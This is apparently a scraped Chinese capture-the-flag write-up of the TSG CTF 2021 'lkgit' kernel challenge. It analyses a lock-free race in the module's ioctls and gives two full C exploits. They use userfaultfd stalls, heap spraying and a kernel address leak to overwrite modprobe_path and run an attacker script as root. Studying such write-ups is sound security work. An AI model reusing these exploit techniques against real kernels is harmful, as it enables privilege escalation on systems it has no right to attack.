当前位置: 首页 > news >正文

中国卫生网/专业北京seo公司

中国卫生网,专业北京seo公司,正规软件开发培训机构,网站转app工具高级版启动脚本 qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "consolettyS0 kaslr oopspanic panic1 quiet" \-no-reboot \-m 256M题目 lkgit_hash_object #define HASH_SIZE …

启动脚本

qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "console=ttyS0 kaslr oops=panic panic=1 quiet" \-no-reboot \-m 256M

题目

lkgit_hash_object

#define HASH_SIZE                 0x10
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

从用户空间传递一个hash_object到内核

  • 内核分配一个hash_object对象,将用户态的hash_object拷贝进来
  • 内核分配一个content对象,将hash_object->content拷贝进来
  • 内核分配一个message对象,将hash_object->message拷贝进来
  • 根据content的内容计算出,hash,保存到内核的hash_object->hash
  • 并将hash赋值到用户态的hash_object->hash
  • 最后将内核态的hash_object保存到全局数组objects中
    • 先检查全局数组objects是否已经保存了相同hash的hash_object,有则先将hash_object释放,并置NULL
    • 然后再全局数组objects中找到一个元素为NULL的,存放进去
static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {goto end;}ret = save_object(req);end:return ret;
}static void get_hash(char *content, char *buf) {int ix,jx;unsigned unit = FILE_MAXSZ / HASH_SIZE;char c;for (ix = 0; ix != HASH_SIZE; ++ix) {c = 0;for(jx = 0; jx != unit; ++jx) {c ^= content[ix * unit + jx];}buf[ix] = c;}
}static long save_object(hash_object *obj) {int ix;int dup_ix;// first, find conflict of hashif((dup_ix = find_by_hash(obj->hash)) != -1) {kfree(objects[dup_ix]);objects[dup_ix] = NULL;}// assign objectfor (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] == NULL) {objects[ix] = obj;return 0;}}return -LKGIT_ERR_UNKNOWN;
}static int find_by_hash(char *hash) {int ix;for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)return ix;}return -1;
}

lkgit_get_object

typedef struct {char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将找到的hash_object元素的content,拷贝到用户态的log_object->content
  • 计算内核找到的hash_object元素content的hash,是否与用户参数中的log_object->hash,一致则
    • 内核找到的hash_object元素的content,拷贝给用户态
    • 内核找到的hash_object元素的hash,拷贝给用户态
static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) goto end;ret = 0;}end:return ret;
}

lkgit_amend_message

用户态传递过来的参数log_object

  • 内核获取用户态的log_object->hash
  • 在全局数组objects中,查找是否存在hash相同的hash_object元素
  • 将用户态的log_object->message,拷贝到内核局部变量buf中
  • 调用lkgit_get_object
  • 并将用户态log_object->message,拷贝到找到的hash相同的hash_object->message中
static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);}end:return ret;
}

漏洞在哪里

单看,ioctl中的三个方法,好像都没有问题

  • lkgit_hash_object
  • lkgit_get_object
  • lkgit_amend_message

由于内核函数调用中没有加锁,查看是否存在竞争

结合异步并行调用+userfaultfd,再尝试看看没有没有问题

lkgit_hash_object

static long lkgit_hash_object(hash_object *reqptr) {long ret = -LKGIT_ERR_UNKNOWN;char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL);	// 0x40char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))goto end;if (copy_from_user(req, reqptr, sizeof(hash_object)))	// 【1】goto end;if (copy_from_user(content_buf, req->content, FILE_MAXSZ)|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ)) // 【2】goto end;req->content = content_buf;req->message = message_buf;get_hash(content_buf, req->hash);	// 【3】if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {	// 【4】goto end;}ret = save_object(req);end:return ret;
}
  • 通过userfaultfd,在【1】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【2】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other
  • 通过userfaultfd,在【4】处暂停
    • lkgit_get_object,无法从全局数组objects找到可用的hash_other

lkgit_get_object

static long lkgit_get_object(log_object *req) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char hash_other[HASH_SIZE] = {0};char hash[HASH_SIZE];int target_ix;hash_object *target;if (copy_from_user(hash, req->hash, HASH_SIZE))goto end;if ((target_ix = find_by_hash(hash)) != -1) {target = objects[target_ix];if (copy_to_user(req->content, target->content, FILE_MAXSZ))	// 【1】goto end;// validity check of hashget_hash(target->content, hash_other);if (memcmp(hash, hash_other, HASH_SIZE) != 0)goto end;if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ))	// 【2】goto end;if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【3】goto end;ret = 0;}end:return ret;
}
  • 【1】,【2】,【3】在此处停下,通过调用lkgit_hash_object->save_object->kfree,释放hash_object,并用其他内核结构替换,获取可以获取一些内核信息

lkgit_amend_message

static long lkgit_amend_message(log_object *reqptr) {long ret = -LKGIT_ERR_OBJECT_NOTFOUND;char buf[MESSAGE_MAXSZ];log_object req = {0};int target_ix;hash_object *target;if(copy_from_user(&req, reqptr->hash, HASH_SIZE))	// 【1】goto end;if ((target_ix = find_by_hash(req.hash)) != -1) {target = objects[target_ix];// save message temporarilyif (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ))goto end;// return old information of objectret = lkgit_get_object(reqptr);	// 【1】// amend messagememcpy(target->message, buf, MESSAGE_MAXSZ);	// 【2】}end:return ret;
}

lkgit_get_object类似,但是这个的【2】提供了一个往占位结构体写数据的功能,但这里略微复杂一点

// 1、在lkgit_hash_object中,先申请kmalloc-32的message slab-1
message:0x0-0x70x8-0xF0x10-0x170x18-0x1F
// 2、在lkgit_hash_object中,再申请kmalloc-32的hash_object slab-2
// 2-1、之前存储在objects中的kmalloc-32的 hash_object slab-0会被释放
// 3、再次调用lkgit_hash_object,slab-0,会被message占据
// 4、这时就可以通过lkgit_hash_object内部的copy_from_user(message_buf),修改 hash_object->message
// 5、通过lkgit_amend_message中的【1】找到这个结构体
// 6、通过lkgit_amend_message中的【2】修改hash_object->message指向的内容
typedef struct {char hash[HASH_SIZE];char *content;	// 长度最大0x40char *message;	// 长度最大0x20
} hash_object;

利用

  • 先创建一个内核hash_object,并挂到内核objects数组下
  • 调用lkgit_get_object,触发缺页处理
    • 在缺页处理内部调用lkgit_hash_object,触发kfree
    • 使用shm_file_data进行占位
    • 读取内核指针,获取内核基地址
    • 从而得到modprobe_path的地址
  • 调用lkgit_amend_message,触发缺页处理
    • 修改hash_object->message 的地址为modprobe_path的地址
    • 通过memcpy(target->message, buf, MESSAGE_MAXSZ);重写modprobe_path的内容

exp1 - 这个蛮好看的

#include <fcntl.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/shm.h>
#include <unistd.h>#define LKGIT_HASH_OBJECT 0xdead0001
#define LKGIT_AMEND_MESSAGE 0xdead0003
#define LKGIT_GET_OBJECT 0xdead0004#define FILE_MAXSZ 0x40
#define MESSAGE_MAXSZ 0x20
#define HASH_SIZE 0x10typedef struct
{char hash[HASH_SIZE]; // 0x10char *content;        // 0x8char *message;        // 0x8
} hash_object;typedef struct
{char hash[HASH_SIZE];char content[FILE_MAXSZ];char message[MESSAGE_MAXSZ];
} log_object;typedef struct
{long uffd;unsigned long long page_start;void *(*wp_fault_func)(void *);void *(*read_fault_func)(void *, struct uffdio_copy*);
} userfd_callback_args;int lkgit_fd;
pthread_t uffd_thread;char fileContent1[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
char fileMessage1[] = "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB";
char hash1[0x10];unsigned long modprobe_path;void errout(char *msg)
{perror(msg);exit(-1);
}void *userfd_thread_func(void *args)
{struct uffd_msg msg;userfd_callback_args *cb_args = (userfd_callback_args *)args;struct pollfd pollfd = {.fd = cb_args->uffd,.events = POLLIN};while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errout("polling error");if (!(pollfd.revents & POLLIN))continue;if (read(cb_args->uffd, &msg, sizeof(msg)) == 0)errout("read uffd event");printf("Userfault event\n");printf("======================================================================\n");if (msg.event & UFFD_EVENT_PAGEFAULT)printf("PAGEFAULT : %p / Flags %p\n", (void *)msg.arg.pagefault.address, msg.arg.pagefault.flags);long long addr = msg.arg.pagefault.address;long long page_begin = addr - (addr % 0x1000);// Check for write protected write faultif (msg.arg.pagefault.flags & UFFD_PAGEFAULT_FLAG_WP){printf("UFFD_PAGEFAULT_FLAG_WP\n");// If defined, call write protect fault handlerif(cb_args->wp_fault_func)cb_args->wp_fault_func(cb_args);// set page to not write protected to unlock kernelstruct uffdio_writeprotect wp;wp.range.start = cb_args->page_start;wp.range.len = 0x2000;wp.mode = 0;printf("[+] Send !UFFDIO_WRITEPROTECT event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);if (ioctl(cb_args->uffd, UFFDIO_WRITEPROTECT, &wp) == -1){errout("ioctl(UFFDIO_WRITEPROTECT)");}continue;}// Page wasn't touched by now, so fill itprintf("UFFDIO_COPY\n");char buf[0x1000];struct uffdio_copy cp = {.src = (long long)buf,.dst = (long long)addr,.len = (long long)0x1000,.mode = 0};// If defined, call read protect fault handlerif(cb_args->read_fault_func)cb_args->read_fault_func(cb_args, &cp);if (ioctl(cb_args->uffd, UFFDIO_COPY, &cp) == -1){perror("ioctl(UFFDIO_COPY)");}printf("[+] Sent UFFDIO_COPY event to userfaultfd\n");printf("======================================================================\n\n");fflush(stdout);}return NULL;
}userfd_callback_args* register_userfaultfd(unsigned long long mode, void *(*wp_fault_func)(void *), void *(*read_fault_func)(void *, struct uffdio_copy*))
{printf("\n");printf("Register userfaultdfd\n");printf("======================================================================\n");// setup userfault fdint uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);if (uffd == -1){perror("syscall");exit(-1);}int uffd_flags = fcntl(uffd, F_GETFD, NULL);printf("[+] Userfaultfd registered : FD %d / Flags: %p\n", uffd, uffd_flags);struct uffdio_api uffdio_api = {.api = UFFD_API,.features = 0};if (ioctl(uffd, UFFDIO_API, &uffdio_api)){perror("UFFDIO_API");exit(-1);}printf("[+] Userfaultfd api : Features %p\n", uffdio_api.features);char* userfault_region = mmap(NULL, 0x1000 * 2, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0);if (!userfault_region){perror("mmap");exit(-1);}// 页对其if (posix_memalign((void **)userfault_region, 0x1000, 0x1000 * 2)){fprintf(stderr, "cannot align by pagesize %d\n", 0x1000);exit(1);}printf("[+] Userfaultfd region : %p - %p", userfault_region, userfault_region + 0x1000 * 2);struct uffdio_register uffdio_register;uffdio_register.range.start = (unsigned long long)userfault_region;uffdio_register.range.len = 0x1000 * 2;uffdio_register.mode = mode;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1){perror("ioctl(UFFDIO_REGISTER)");exit(1);}printf("[+] Userfaultfd region registered: ioctls %p\n", uffdio_register.ioctls);userfd_callback_args *cb_args = malloc(sizeof(userfd_callback_args));cb_args->uffd = uffd;cb_args->wp_fault_func = wp_fault_func;cb_args->read_fault_func = read_fault_func;cb_args->page_start = (unsigned long long)userfault_region;pthread_create(&uffd_thread, NULL, userfd_thread_func, cb_args);printf("[+] Userfaultfd process thread started: %p\n", uffd_thread);printf("======================================================================\n\n");    return cb_args;
}void unregister_userfaultfd(userfd_callback_args* args) {printf("\n");printf("Unregister userfaultdfd\n");printf("======================================================================\n");struct uffdio_range uf_range = {.start = args->page_start,.len = 0x2000};if (ioctl(args->uffd, UFFDIO_UNREGISTER, (unsigned long)&uf_range) == -1) errout("unregistering page for userfaultfd");if (munmap(args->page_start, 0x2000) == -1)errout("munmapping userfaultfd page");close(args->uffd);pthread_cancel(uffd_thread);printf("[+] userfaultfd unregistered\n");printf("======================================================================\n\n");
}// take a snapshot of a file.
char snap_file(char *content, char *message, char *out_hash)
{hash_object req = {.content = content,.message = message,};if (ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) != 0){printf("[ERROR] failed to hash the object.\n");}memcpy(out_hash, &req.hash, 0x10);return 0;
}void spray_shmem(int count, int size) {puts("[+] spray shmem structs");int shmid;char *shmaddr;for (int i = 0; i < count; i++){if ((shmid = shmget(IPC_PRIVATE, size, 0600)) == -1){perror("shmget error");exit(-1);}shmaddr = shmat(shmid, NULL, 0);if (shmaddr == (void *)-1){perror("shmat error");exit(-1);}}
}void *break_on_read_leak(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;puts("Userfault: break_on_read");    printf("[+]Delete current object by storing one with the same hash\n");snap_file(fileContent1, fileMessage1, &hash1);printf("[+] Create a shmem struct in the freed object");spray_shmem(1, 0x20);    
}void *break_on_read_overwrite(void *args, struct uffdio_copy *uf_buf)
{userfd_callback_args *cb_args = args;// Write address of modprobe_path to hash_object->messageunsigned long* lptr = fileMessage1+0x18;*lptr = modprobe_path;// Reallocate files, so that current object is freed and our message will overwrite current object to control its message pointersnap_file(fileContent1, fileMessage1, &hash1);snap_file(fileContent1, fileMessage1, &hash1);// Put the content into UFFDIO_COPY src argument (which will be copied to message pointer)char mod[] = "/home/user/copy.sh";memcpy(uf_buf->src, mod, sizeof(mod));      
}int main()
{// Prepare modprobe_path exploitationsystem("echo -ne '#!/bin/sh\n/bin/cp /home/user/flag /home/user/flag2\n/bin/chmod 777 /home/user/flag2' > /home/user/copy.sh");system("chmod +x /home/user/copy.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /home/user/dummy");system("chmod +x /home/user/dummy");lkgit_fd = open("/dev/lkgit", O_RDWR);// 创建一个log_object对象printf("[+] Create initial file in lkgit\n");snap_file(fileContent1, fileMessage1, hash1);// kernel base泄露printf("[+] Register userfaultfd\n");userfd_callback_args *uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_leak);printf("[+] Request file, and let it break on copying back message\n");log_object *req = uffdargs->page_start + 0x1000 - 0x10 - 0x40; // Allow copy hash/content, but pagefault on messagememcpy(&req->hash, hash1, 0x10);ioctl(lkgit_fd, LKGIT_GET_OBJECT, req); // page fault 错误,先执行 break_on_read_leak(1、删除object 2、堆喷占据对象),再读取堆喷数据unsigned long kernel_leak = *((unsigned long*)(req->hash + 0x8));modprobe_path = kernel_leak - 0x131ce0;printf("[+] Kernel leak   : %p\n", kernel_leak);printf("[+] modprobe_path : %p\n", modprobe_path);unregister_userfaultfd(uffdargs);// 任意地址写printf("[+] Register new userfaultfd\n");uffdargs = register_userfaultfd(UFFDIO_REGISTER_MODE_MISSING | UFFDIO_REGISTER_MODE_WP, NULL, break_on_read_overwrite);// Align the request object, so that lkgit_amend_message will pagefault on reading new messageioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, uffdargs->page_start+0x1000-0x10-0x40);close(lkgit_fd);// Execute modprobe_path exploitationsystem("/home/user/dummy");system("cat /home/user/flag2");
}

exp2

/****************** Full exploit of lkgit.*****************/#define _GNU_SOURCE
#include <string.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdint.h>
#include <unistd.h>
#include <assert.h>
#include <stdlib.h>
#include <signal.h>
#include <poll.h>
#include <pthread.h>
#include <err.h>
#include <errno.h>
#include <netinet/in.h>
#include <sched.h>
#include <linux/bpf.h>
#include <linux/filter.h>
#include <linux/userfaultfd.h>
#include <sys/syscall.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/prctl.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/xattr.h>
#include <sys/socket.h>
#include <sys/uio.h>
#include <sys/shm.h>#include "../src/include/lkgit.h" // commands#define DEV_PATH "/dev/lkgit" // the path the device is placed
#define ulong unsigned long
#define scu static const unsigned long#// constants
#define PAGE 0x1000
#define NO_FAULT_ADDR 0xdead0000
#define FAULT_ADDR 0xdead1000
#define FAULT_OFFSET PAGE
#define MMAP_SIZE 4 * PAGE
#define FAULT_SIZE MMAP_SIZE - FAULT_OFFSET
// (END constants)// globals
int uffd;
struct uffdio_api uffdio_api;
struct uffdio_register uffdio_register;
int lkgit_fd;
char buf[0x400];
unsigned long len = 2 * PAGE;
void *addr = (void *)NO_FAULT_ADDR;
void *target_addr;
size_t target_len;
int tmpfd[0x300];
int seqfd;
struct sockaddr_in saddr = {0};
struct msghdr socketmsg = {0};
struct iovec iov[1];ulong single_start;
ulong kernbase;ulong off_single_start = 0x01adc20;
ulong off_modprobepath = 0x0c3cb20;
// (END globals)// utils
#define WAIT getc(stdin);
#define errExit(msg)        \do                      \{                       \perror(msg);        \exit(EXIT_FAILURE); \} while (0)
ulong user_cs, user_ss, user_sp, user_rflags;/** module specific utils **/char *hash_to_string(char *hash)
{char *hash_str = calloc(HASH_SIZE * 2 + 1, 1);for (int ix = 0; ix != HASH_SIZE; ++ix){sprintf(hash_str + ix * 2, "%02lx", (unsigned long)(unsigned char)hash[ix]);}return hash_str;
}char *string_to_hash(char *hash_str)
{char *hash = calloc(HASH_SIZE, 1);char buf[3] = {0};for (int ix = 0; ix != HASH_SIZE; ++ix){memcpy(buf, &hash_str[ix * 2], 2);hash[ix] = (char)strtol(buf, NULL, 16);}return hash;
}void print_log(log_object *log)
{printf("HASH   : %s\n", hash_to_string(log->hash));printf("MESSAGE: %s\n", log->message);printf("CONTENT: \n%s\n", log->content);
}
/** END of module specific utils **/void *conflict_during_fault(char *content)
{// commit with conflict of hashchar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};memcpy(content_buf, content, FILE_MAXSZ); // hash became 00000000000...hash_object req = {.content = content_buf,.message = content_buf,};printf("[.] committing with conflict...: %s\n", content);assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));
}// userfaultfd-utils
static void *fault_handler_thread(void *arg)
{puts("[+] entered fault_handler_thread");static struct uffd_msg msg; // data read from userfaultfd// struct uffdio_copy uffdio_copy;struct uffdio_range uffdio_range;struct uffdio_copy uffdio_copy;long uffd = (long)arg; // userfaultfd file descriptorstruct pollfd pollfd;  //int nready;            // number of polled events// set poll informationpollfd.fd = uffd;pollfd.events = POLLIN;// wait for pollputs("[+] polling...");while (poll(&pollfd, 1, -1) > 0){if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP)errExit("poll");// read an eventif (read(uffd, &msg, sizeof(msg)) == 0)errExit("read");if (msg.event != UFFD_EVENT_PAGEFAULT)errExit("unexpected pagefault");printf("[!] page fault: %p\n", (void *)msg.arg.pagefault.address);// Now, another thread is halting. Do my business.char content_buf[FILE_MAXSZ] = {0};if (target_addr == (void *)NO_FAULT_ADDR){puts("[+] first: seq_operations");memset(content_buf, 'A', FILE_MAXSZ);conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");if ((seqfd = open("/proc/self/stat", O_RDONLY)) <= 0){errExit("open seq_operations");}// trashuffdio_range.start = msg.arg.pagefault.address & ~(PAGE - 1);uffdio_range.len = PAGE;if (ioctl(uffd, UFFDIO_UNREGISTER, &uffdio_range) == -1)errExit("ioctl-UFFDIO_UNREGISTER");}else{printf("[+] target == modprobe_path @ %p\n", (void *)kernbase + off_modprobepath);strcpy(content_buf, "/tmp/evil\x00");conflict_during_fault(content_buf);puts("[+] trying to realloc kfreed object...");long *buf = calloc(sizeof(long), sizeof(hash_object) / sizeof(long));for (int ix = 0; ix != sizeof(hash_object) / sizeof(long); ++ix){buf[ix] = kernbase + off_modprobepath;}char content_buf[FILE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};strcpy(content_buf, "uouo-fish-life\x00");hash_object req = {.content = content_buf,.message = (char *)buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// write evil messageputs("[+] copying evil message...");char message_buf[PAGE] = {0};strcpy(message_buf, "/tmp/evil\x00");uffdio_copy.src = (unsigned long)message_buf;uffdio_copy.dst = msg.arg.pagefault.address;uffdio_copy.len = PAGE;uffdio_copy.mode = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)errExit("ioctl-UFFDIO_COPY");}break;}puts("[+] exiting fault_handler_thrd");
}void register_userfaultfd_and_halt(void)
{puts("[+] registering userfaultfd...");long uffd;     // userfaultfd file descriptorpthread_t thr; // ID of thread that handles page fault and continue exploit in another kernel threadstruct uffdio_api uffdio_api;struct uffdio_register uffdio_register;int s;// create userfaultfd file descriptoruffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); // there is no wrapper in libcif (uffd == -1)errExit("userfaultfd");// enable uffd object via ioctl(UFFDIO_API)uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1)errExit("ioctl-UFFDIO_API");// mmapaddr = mmap(target_addr, target_len, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1, 0); // set MAP_FIXED for memory to be mmaped on exactly specified addr.printf("[+] mmapped @ %p\n", addr);if (addr == MAP_FAILED || addr != target_addr)errExit("mmap");// specify memory region handled by userfaultfd via ioctl(UFFDIO_REGISTER)// first stepif (target_addr == (void *)NO_FAULT_ADDR){uffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}else{// second stepuffdio_register.range.start = (size_t)(target_addr + PAGE);uffdio_register.range.len = PAGE;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;}// uffdio_register.mode = UFFDIO_REGISTER_MODE_WP; // write-protectionif (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)errExit("ioctl-UFFDIO_REGISTER");s = pthread_create(&thr, NULL, fault_handler_thread, (void *)uffd);if (s != 0){errno = s;errExit("pthread_create");}puts("[+] registered userfaultfd");
}
// (END userfaultfd-utils)int main(int argc, char *argv[])
{puts("[.] starting exploit...");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/nirugiri");system("echo -ne '#!/bin/sh\nchmod 777 /home/user/flag && cat /home/user/flag' > /tmp/evil");system("chmod +x /tmp/evil");system("chmod +x /tmp/nirugiri");lkgit_fd = open(DEV_PATH, O_RDWR);if (lkgit_fd < 0){errExit("open");}// register uffd handlertarget_addr = (void *)NO_FAULT_ADDR;target_len = 2 * PAGE;register_userfaultfd_and_halt();sleep(1);log_object *log = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));printf("[.] target addr: %p\n", target_addr);printf("[.] log:         %p\n", log);// sprayputs("[.] heap spraying...");for (int ix = 0; ix != 0x90; ++ix){tmpfd[ix] = open("/proc/self/stat", O_RDONLY);}// commit a file normalychar content_buf[FILE_MAXSZ] = {0};char msg_buf[MESSAGE_MAXSZ] = {0};char hash_buf[HASH_SIZE] = {0};memset(content_buf, 'A', FILE_MAXSZ); // hash became 00000000000...strcpy(msg_buf, "This is normal commit.\x00");hash_object req = {.content = content_buf,.message = msg_buf,};assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));memset(content_buf, 0, FILE_MAXSZ);strcpy(content_buf, "/tmp/evil\x00"); // hash is 46556c00000000000000000000000000strcpy(msg_buf, "This is second commit.\x00");assert(ioctl(lkgit_fd, LKGIT_HASH_OBJECT, &req) == 0);printf("[+] hash: %s\n", hash_to_string(req.hash));// try to get a log and invoke race// this fault happens when copy_to_user(to = message), not when copy_to_user(to = content).memset(log->hash, 0, HASH_SIZE);assert(ioctl(lkgit_fd, LKGIT_GET_OBJECT, log) == 0);print_log(log);// kernbase leaksingle_start = *(unsigned long *)log->hash;kernbase = single_start - off_single_start;printf("[!] single_start: %lx\n", single_start);printf("[!] kernbase: %lx\n", kernbase);// prepare for race again.target_len = PAGE * 2;target_addr = (void *)NO_FAULT_ADDR + PAGE * 2;register_userfaultfd_and_halt();sleep(1);// amend to race/AAWlog = (log_object *)(target_addr + PAGE - (HASH_SIZE + FILE_MAXSZ));memcpy(log->hash, string_to_hash("46556c00000000000000000000000000"), HASH_SIZE); // hash is 46556c00000000000000000000000000puts("[.] trying to race to achive AAW...");int e = ioctl(lkgit_fd, LKGIT_AMEND_MESSAGE, log);if (e != 0){if (e == -LKGIT_ERR_OBJECT_NOTFOUND){printf("[ERROR] object not found: %s\n", hash_to_string(log->hash));}else{printf("[ERROR] unknown error in AMEND.\n");}}// nirugiriputs("[!] executing evil script...");system("/tmp/nirugiri");system("cat /home/user/flag");printf("[.] end of exploit.\n");return 0;
}

参考

https://ctftime.org/writeup/30739
https://kileak.github.io/ctf/2021/tsg-lkgit/
https://blog.smallkirby.com/posts/lkgit/

相关文章:

tsgctf-2021-lkgit-无锁竞争-userfaultfd

启动脚本 qemu-system-x86_64 \-kernel ./bzImage \-initrd ./rootfs.cpio \-nographic \-monitor /dev/null \-cpu kvm64,smep,smap \-append "consolettyS0 kaslr oopspanic panic1 quiet" \-no-reboot \-m 256M题目 lkgit_hash_object #define HASH_SIZE …...

物联网数据隐私保护技术

在物联网&#xff08;IoT&#xff09;的世界中&#xff0c;无数的设备通过互联网连接在一起&#xff0c;不断地收集、传输和处理数据。这些数据有助于提高生产效率、优化用户体验并创造新的服务模式。然而&#xff0c;随着数据量的剧增&#xff0c;数据隐私保护成为了一个不能忽…...

RabbitMQ-1.介绍与安装

介绍与安装 1.RabbitMQ1.0.技术选型1.1.安装1.2.收发消息1.2.1.交换机1.2.2.队列1.2.3.绑定关系1.2.4.发送消息 1.2.数据隔离1.2.1.用户管理1.2.3.virtual host 1.RabbitMQ 1.0.技术选型 消息Broker&#xff0c;目前常见的实现方案就是消息队列&#xff08;MessageQueue&…...

CSS高级技巧

一、 精灵图 1.1 为什么需要精灵图&#xff1f; 1.2 精灵图&#xff08;sprites&#xff09;的使用 二、 字体图标 2.1 字体图标的产生 2.2 字体图标的优点 2.3 字体图标的下载 icomoom字库 http://icomoon.io 阿里iconfont字库 http://www.iconfont.cn/ 2.4 字体图标的引用…...

Redis的数据类型Hash使用场景实战

Redis的数据类型Hash使用场景 常见面试题&#xff1a;redis在你们项目中是怎么用的&#xff0c;除了String数据类型还使用什么数据类型&#xff1f; 怎么保证缓存和数据一致性等问题… Hash模型使用场景 知识回顾&#xff1a; redisTemplate.opsForHash() 方法是 Redis 的 …...

HttpClient | 支持 HTTP 协议的客户端编程工具包

目录 1、简介 2、应用场景 3、导入 4、API 5、示例 5.1、GET请求 5.2、POST请求 &#x1f343;作者介绍&#xff1a;双非本科大三网络工程专业在读&#xff0c;阿里云专家博主&#xff0c;专注于Java领域学习&#xff0c;擅长web应用开发、数据结构和算法&#xff0c;初…...

DP第一天:力扣● 理论基础 ● 509. 斐波那契数 ● 70. 爬楼梯 ● 746. 使用最小花费爬楼梯

